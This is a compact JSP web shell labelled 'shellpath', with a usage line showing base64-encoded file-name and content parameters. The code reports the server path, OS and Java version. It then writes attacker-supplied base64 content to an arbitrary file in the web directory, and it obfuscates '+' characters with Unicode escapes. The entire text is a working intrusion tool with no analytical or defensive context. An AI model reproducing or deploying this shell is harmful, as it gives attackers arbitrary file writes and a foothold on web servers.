4e163d2726959455shellpath:<%String path1=application.getRealPath(request.getServletPath());String fileName=request.getParameter("f");if(fileName!=null){fileName=fileName.replaceAll("-","");fileName=java.net.URLDecoder.decode(new String(new sun.misc.BASE64Decoder().decodeBuffer(fileName)));}if(path1==null){path1=request.getSession().getServletContext().getResource("/").getFile();}else{path1=new java.io.File(application.getRealPath(request.getServletPath())).getParent()\u002b"/";}out.println(path1);%><%="os is :"\u002bSystem.getProperty("os.name").toLowerCase()\u002b" java version: "\u002bSystem.getProperty("java.version")\u002b"<br/>"%><%if(fileName!=null){String path=application.getRealPath(request.getServletPath());if(path==null){path=request.getSession().getServletContext().getResource("/").getFile()\u002b"/"\u002bfileName;}else{path=new java.io.File(application.getRealPath(request.getServletPath())).getParent()\u002b"/"\u002bfileName;}(new java.io.FileOutputStream(path)).write(java.net.URLDecoder.decode(new String(new sun.misc.BASE64Decoder().decodeBuffer(request.getParameter("t")))).replaceAll("~","\u002b").getBytes());out.print(path);}%>4e163d2726959455useage:?f=Zi5qc3A= postData:t=base64encodedata